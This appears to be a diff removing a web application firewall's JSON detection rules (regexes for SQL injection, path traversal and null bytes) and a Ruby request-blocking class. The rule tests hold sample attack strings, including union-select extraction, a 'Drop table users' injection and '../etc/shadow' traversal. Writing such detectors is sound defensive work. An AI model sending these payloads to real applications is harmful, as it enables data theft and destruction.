"common": "(?:(?:\\d[\"'`\u00b4\u2019\u2018]\\s+[\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\"'`\u00b4\u2019\u2018]|(/\\*)+[\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|/\\*|\\{)?)|(?:[\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\"'`\u00b4\u2019\u2018])|(?:[\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\"'`\u00b4\u2019\u2018])|(?:[\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\"'`\u00b4\u2019\u2018])|(?:[\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\"'`\u00b4\u2019\u2018(].*?$)|(?:[\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\"'`\u00b4\u2019\u2018][<>~]+[\"'`\u00b4\u2019\u2018]))",
|
|
246
|
-
"tests": {
|
|
247
|
-
"shouldFind": [
|
|
248
|
-
"') or ('1'='1--",
|
|
249
|
-
"') or ('1'='1--",
|
|
250
|
-
"1 OR '1'!=0",
|
|
251
|
-
"aa' LIKE md5(1) or '1"
|
|
252
|
-
],
|
|
253
|
-
"shouldIgnore": [
|
|
254
|
-
"aB--D_C=",
|
|
255
|
-
"union soldier",
|
|
256
|
-
"select",
|
|
257
|
-
"James O'Connor",
|
|
258
|
-
"Like this or that",
|
|
259
|
-
"divide and conquer"
|
|
260
|
-
]
|
|
261
|
-
},
|
|
262
|
-
"id": "1"
|
|
263
|
-
},
|
|
264
|
-
{
|
|
265
|
-
"title": "Common Probes/Executions",
|
|
266
|
-
"sophistication": 1,
|
|
267
|
-
"common": "\\b(?:having)\\b\\s+(\\d{1,10}|'[^=]{1,10}')\\s*?[=<>]|(?:\\bexecute(\\s{1,5}[\\w\\.$]{1,5}\\s{0,3})?\\()|\\bhaving\\b ?(?:\\d{1,10}|['\"][^=]{1,10}['\"]) ?[=<>]+|(?:\\bcreate\\s+?table.{0,20}?\\()|(?:\\blike\\W*?char\\W*?\\()|(?:(?:(select(.*?)case|from(.*?)limit|order\\sby)))|exists\\s(\\sselect|select\\Sif(null)?\\s\\(|select\\Stop|select\\Sconcat|system\\s\\(|\\b(?:having)\\b\\s+(\\d{1,10})|'[^=]{1,10}')",
|
|
268
|
-
"id": "2"
|
|
269
|
-
},
|
|
270
|
-
{
|
|
271
|
-
"title": "Conditional Attempts",
|
|
272
|
-
"sophistication": 3,
|
|
273
|
-
"common": "(?:[\\s()]case\\s*\\()|(?:\\)\\s*like\\s*\\()|(?:having\\s*[^\\s]+\\s*[^\\w\\s])|(?:if\\s?\\([\\d\\w]\\s*[=<>~])",
|
|
274
|
-
"tests": {
|
|
275
|
-
"shouldFind": [
|
|
276
|
-
"' or id= 1 having 1 #1 !"
|
|
277
|
-
],
|
|
278
|
-
"shouldIgnore": [
|
|
279
|
-
"aB--D_C=",
|
|
280
|
-
"union soldier",
|
|
281
|
-
"select",
|
|
282
|
-
"James O'Connor",
|
|
283
|
-
"Like this or that",
|
|
284
|
-
"divide and conquer"
|
|
285
|
-
]
|
|
286
|
-
},
|
|
287
|
-
"id": "7"
|
|
288
|
-
},
|
|
289
|
-
{
|
|
290
|
-
"title": "Union Attempts",
|
|
291
|
-
"sophistication": 3,
|
|
292
|
-
"common": "(?:union\\s*(?:all|distinct|[(!@]*)\\s*[(\\[]*\\s*select)|(?:\\w+\\s+like\\s+\")|(?:like\\s*\"%)|(?:\"\\s*like\\W*[\"\\d])|(?:\"\\s*(?:n?and|x?or|not |\\|\\||\\&\\&)\\s+[\\s\\w]+=\\s*\\w+\\s*having)|(?:\"\\s*\\*\\s*\\w+\\W+\")|(?:select\\s*[\\[\\]()\\s\\w\\.,\"-]+from)|(?:find_in_set\\s*\\()",
|
|
293
|
-
"tests": {
|
|
294
|
-
"shouldFind": [
|
|
295
|
-
"'union select all 1,2,x,x,x,x —-",
|
|
296
|
-
"'union select 1,2,3,x,x,x,x,@@version,x–-",
|
|
297
|
-
"'union select UTL_INADDR.get_host_address,null,null,null,null from dual–-"
|
|
298
|
-
],
|
|
299
|
-
"shouldIgnore": [
|
|
300
|
-
"aB--D_C=",
|
|
301
|
-
"union soldier",
|
|
302
|
-
"select",
|
|
303
|
-
"James O'Connor",
|
|
304
|
-
"Like this or that",
|
|
305
|
-
"divide and conquer"
|
|
306
|
-
]
|
|
307
|
-
},
|
|
308
|
-
"id": "8"
|
|
309
|
-
},
|
|
310
|
-
{
|
|
311
|
-
"title": "SQL Comment Sequence",
|
|
312
|
-
"sophistication": 1,
|
|
313
|
-
"common": "([';]--|--[\\s\\r\\n\\v\\f]|(?:'[\\s\\r\\n\\v\\f]*--[^-]*?-)|#[\\s\\r\\n\\v\\f]*$|;?\\\\x00)",
|
|
314
|
-
"tests": {
|
|
315
|
-
"shouldFind": [
|
|
316
|
-
"'--",
|
|
317
|
-
"1=1;\\x00",
|
|
318
|
-
"admin\" #"
|
|
319
|
-
],
|
|
320
|
-
"shouldIgnore": [
|
|
321
|
-
"aB--D_C=",
|
|
322
|
-
"union soldier",
|
|
323
|
-
"select",
|
|
324
|
-
"James O'Connor",
|
|
325
|
-
"Like this or that",
|
|
326
|
-
"-----BEGIN PGP PUBLIC KEY BLOCK-----",
|
|
327
|
-
"divide and conquer",
|
|
328
|
-
"Order ID# 2345",
|
|
329
|
-
"/url/with/#/hash"
|
|
330
|
-
]
|
|
331
|
-
},
|
|
332
|
-
"id": "3"
|
|
333
|
-
},
|
|
334
|
-
{
|
|
335
|
-
"title": "Extraction Attempts",
|
|
336
|
-
"sophistication": 1,
|
|
337
|
-
"common": "(?:(?:@.+=\\s*?\\(\\s*?select)|(?:\\d+\\s*?(x?or|div|like|between|and)\\s*?\\d+\\s*?[\\-+])|(?:/\\w+;?\\s+(?:having|and|x?or|div|like|between|and|select)\\W)|(?:\\d\\s+group\\s+by.+\\()|(?:(?:;|#|--)\\s*?(?:drop|alter))|(?:(?:;|#|--)\\s*?(?:update|insert)\\s*?\\w{2,})|(?:[^\\w]SET\\s*?@\\w+)|(?:(?:n?and|x?x?or|div|like|between|and|not |\\|\\||\\&\\&)[\\s(]+\\w+[\\s)]*?[!=+]+[\\s\\d]*?[\"'`\u00b4\u2019\u2018=()]))",
|
|
338
|
-
"tests": {
|
|
339
|
-
"shouldFind": [
|
|
340
|
-
"';Drop table users"
|
|
341
|
-
],
|
|
342
|
-
"shouldIgnore": [
|
|
343
|
-
"aB--D_C=",
|
|
344
|
-
"union soldier",
|
|
345
|
-
"select",
|
|
346
|
-
"James O'Connor",
|
|
347
|
-
"Like this or that",
|
|
348
|
-
"divide and conquer",
|
|
349
|
-
"Sam; James"
|
|
350
|
-
]
|
|
351
|
-
},
|
|
352
|
-
"id": "4"
|
|
353
|
-
}
|
|
354
|
-
]
|
|
355
|
-
},
|
|
356
|
-
"fpt": {
|
|
357
|
-
"patterns": [
|
|
358
|
-
{
|
|
359
|
-
"title": "General Traversal",
|
|
360
|
-
"sophistication": 2,
|
|
361
|
-
"common": "(?:(?:/|\\\\)?\\.+(/|\\\\)(?:\\.*))|(?:\\w+\\.exe\\??\\s)|(?:;\\s*\\w+\\s*/[\\w*-]+/)|(?:\\d\\.\\dx\\|)|(?:%(?:c0\\.|af\\.|5c\\.))|(?:/(?:%2e){2})",
|
|
362
|
-
"tests": {
|
|
363
|
-
"shouldFind": [
|
|
364
|
-
"/.../.../.../.../.../",
|
|
365
|
-
"\\0../../../../../../etc/passwd",
|
|
366
|
-
"../../../../../../etc/shadow"
|
|
367
|
-
],
|
|
368
|
-
"shouldIgnore": [
|
|
369
|
-
"Julie",
|
|
370
|
-
"The quick'o brown... fox.. was. /there"
|
|
371
|
-
]
|
|
372
|
-
},
|
|
373
|
-
"id": "1"
|
|
374
|
-
},
|
|
375
|
-
{
|
|
376
|
-
"title": "Common System Probing",
|
|
377
|
-
"sophistication": 4,
|
|
378
|
-
"common": "(?:%c0%ae/)|(?:(?:/|\\\\)(conf|usr|etc|proc|opt|s?bin|local|dev|tmp|kern|[br]oot|sys|system|windows|winnt|program|%[a-z_-]{3,}%)(?:/|\\\\))|(?:(?:/|\\\\)inetpub|localstart\\.asp|boot\\.ini)",
|
|
379
|
-
"tests": {
|
|
380
|
-
"shouldFind": [
|
|
381
|
-
"/./././././././././././boot.ini",
|
|
382
|
-
"/home/apache/conf/httpd.conf"
|
|
383
|
-
],
|
|
384
|
-
"shouldIgnore": [
|
|
385
|
-
"/Home/Index",
|
|
386
|
-
"Julie",
|
|
387
|
-
"The quick'o brown... fox.. was. /there"
|
|
388
|
-
]
|
|
389
|
-
},
|
|
390
|
-
"id": "2"
|
|
391
|
-
},
|
|
392
|
-
{
|
|
393
|
-
"title": "Attempt for /etc/passwd, shadow",
|
|
394
|
-
"sophistication": 1,
|
|
395
|
-
"common": "(?:etc/\\W*passwd)|(?:etc/\\W*shadow)",
|
|
396
|
-
"tests": {
|
|
397
|
-
"shouldFind": [
|
|
398
|
-
"/etc/passwd"
|
|
399
|
-
],
|
|
400
|
-
"shouldIgnore": [
|
|
401
|
-
"Julie",
|
|
402
|
-
"The quick'o brown... fox.. was. /there"
|
|
403
|
-
]
|
|
404
|
-
},
|
|
405
|
-
"id": "3"
|
|
406
|
-
},
|
|
407
|
-
{
|
|
408
|
-
"title": "Spider svn entries disclosure",
|
|
409
|
-
"sophistication": 1,
|
|
410
|
-
"common": ".svn/(./)*entries",
|
|
411
|
-
"tests": {
|
|
412
|
-
"shouldFind": [
|
|
413
|
-
"http://mysite.tld/folder/.svn/entries",
|
|
414
|
-
"http://mysite.tld/folder/.svn/./entries"
|
|
415
|
-
],
|
|
416
|
-
"shouldIgnore": [
|
|
417
|
-
"mysite.tld/folder/entries/svn/"
|
|
418
|
-
]
|
|
419
|
-
},
|
|
420
|
-
"id": "4"
|
|
421
|
-
}
|
|
422
|
-
]
|
|
423
|
-
},
|
|
424
|
-
"nullbyte": {
|
|
425
|
-
"patterns": [
|
|
426
|
-
{
|
|
427
|
-
"title": "Any Null Byte",
|
|
428
|
-
"sophistication": 1,
|
|
429
|
-
"id": "1",
|
|
430
|
-
"common": "\\x00",
|
|
431
|
-
"tests": {
|
|
432
|
-
"shouldFind": [
|
|
433
|
-
"Duh\u0000",
|
|
434
|
-
"\u0000",
|
|
435
|
-
"\n\rOh\u0000No"
|
|
436
|
-
],
|
|
437
|
-
"shouldIgnore": [
|
|
438
|
-
"Julie",
|
|
439
|
-
"The quick'o brown... fox.. was. /there"
|
|
440
|
-
]
|
|
441
|
-
}
|
|
442
|
-
}
|
|
443
|
-
]
|
|
444
|
-
},
|
|
445
|
-
"retr": {
|
|
446
|
-
"patterns": [
|
|
447
|
-
{
|
|
448
|
-
"title": "Any Line-Break Character",
|
|
449
|
-
"sophistication": 1,
|
|
450
|
-
"id": "1",
|
|
451
|
-
"common": "(\\n|\\r)",
|
|
452
|
-
"tests": {
|
|
453
|
-
"shouldFind": [
|
|
454
|
-
"Duh\r",
|
|
455
|
-
"\r\n",
|
|
456
|
-
"\n\rOh\\0No"
|
|
457
|
-
],
|
|
458
|
-
"shouldIgnore": [
|
|
459
|
-
"Julie",
|
|
460
|
-
"The quick'o brown... fox.. was. /there"
|
|
461
|
-
]
|
|
462
|
-
}
|
|
463
|
-
}
|
|
464
|
-
]
|
|
465
|
-
}
|
|
466
|
-
}
|
|
467
|
-
}
|
|
@@ -1,93 +0,0 @@
|
|
|
1
|
-
require 'tcell_agent/patches/sensors_matcher'
|
|
2
|
-
|
|
3
|
-
module TCellAgent
|
|
4
|
-
module Patches
|
|
5
|
-
|
|
6
|
-
class BlockRule
|
|
7
|
-
ACTIONS_TO_RESPONSES = {
|
|
8
|
-
"block_403s" => 403
|
|
9
|
-
}
|
|
10
|
-
|
|
11
|
-
attr_accessor :ips, :rids, :sensors_matcher, :action, :exact_blocked_paths, :starts_with_blocked_paths
|
|
12
|
-
|
|
13
|
-
def initialize(ips, rids, sensors_matcher, action, exact_blocked_paths, starts_with_blocked_paths)
|
|
14
|
-
@ips = ips
|
|
15
|
-
@rids = rids
|
|
16
|
-
@sensors_matcher = sensors_matcher
|
|
17
|
-
@action = action
|
|
18
|
-
@exact_blocked_paths = exact_blocked_paths
|
|
19
|
-
@starts_with_blocked_paths = starts_with_blocked_paths
|
|
20
|
-
end
|
|
21
|
-
|
|
22
|
-
def resp
|
|
23
|
-
ACTIONS_TO_RESPONSES[@action]
|
|
24
|
-
end
|
|
25
|
-
|
|
26
|
-
def block?(meta_data)
|
|
27
|
-
if @exact_blocked_paths.size > 0 || @starts_with_blocked_paths.size > 0
|
|
28
|
-
if meta_data.path
|
|
29
|
-
return true if @exact_blocked_paths.include?(meta_data.path)
|
|
30
|
-
|
|
31
|
-
return true if @starts_with_blocked_paths.any? do |blocked_path|
|
|
32
|
-
meta_data.path.start_with?(blocked_path)
|
|
33
|
-
end
|
|
34
|
-
end
|
|
35
|
-
|
|
36
|
-
return false
|
|
37
|
-
else
|
|
38
|
-
return false unless @ips.empty? || @ips.include?(meta_data.remote_address)
|
|
39
|
-
|
|
40
|
-
return false unless @rids.empty? || @rids.include?(meta_data.route_id)
|
|
41
|
-
|
|
42
|
-
return @sensors_matcher.any_matches?(meta_data)
|
|
43
|
-
end
|
|
44
|
-
end
|
|
45
|
-
|
|
46
|
-
def self.from_json(rule_json)
|
|
47
|
-
action = rule_json.fetch("action", "block_403s")
|
|
48
|
-
|
|
49
|
-
if ACTIONS_TO_RESPONSES.has_key?(action)
|
|
50
|
-
ips = Set.new(rule_json.fetch("ips", []))
|
|
51
|
-
rids = Set.new(rule_json.fetch("rids", []))
|
|
52
|
-
|
|
53
|
-
exact_blocked_paths = Set.new
|
|
54
|
-
starts_with_blocked_paths = []
|
|
55
|
-
rule_json.fetch("paths", []).each do |path_predicate|
|
|
56
|
-
if path_predicate.fetch("exact", nil)
|
|
57
|
-
exact_path = TCellAgent::Utils::Strings.remove_trailing_slash(path_predicate["exact"])
|
|
58
|
-
exact_blocked_paths.add(exact_path)
|
|
59
|
-
if exact_path.size > 1
|
|
60
|
-
exact_blocked_paths.add(exact_path + "/")
|
|
61
|
-
end
|
|
62
|
-
|
|
63
|
-
elsif path_predicate.fetch("starts_with", nil)
|
|
64
|
-
starts_with_blocked_paths.push(path_predicate["starts_with"])
|
|
65
|
-
end
|
|
66
|
-
end
|
|
67
|
-
|
|
68
|
-
if ips.empty? && rids.empty? && exact_blocked_paths.size == 0 && starts_with_blocked_paths.size == 0
|
|
69
|
-
TCellAgent.logger.error("Patches Policy block rule cannot be global. Specify either ips and/or route ids or blocked paths")
|
|
70
|
-
|
|
71
|
-
return nil
|
|
72
|
-
end
|
|
73
|
-
|
|
74
|
-
sensors_matcher = SensorsMatcher.from_json(rule_json.fetch("sensor_matches", {}))
|
|
75
|
-
|
|
76
|
-
return BlockRule.new(
|
|
77
|
-
ips,
|
|
78
|
-
rids,
|
|
79
|
-
sensors_matcher,
|
|
80
|
-
action,
|
|
81
|
-
exact_blocked_paths,
|
|
82
|
-
starts_with_blocked_paths)
|
|
83
|
-
|
|
84
|
-
else
|
|
85
|
-
TCellAgent.logger.error("Patches Policy action not supported: #{action}")
|
|
86
|
-
|
|
87
|
-
return nil
|
|
88
|
-
end
|
|
89
|
-
end
|
|
90
|
-
end
|
|
91
|
-
|
|
92
|
-
end
|
|
93
|
-
end
|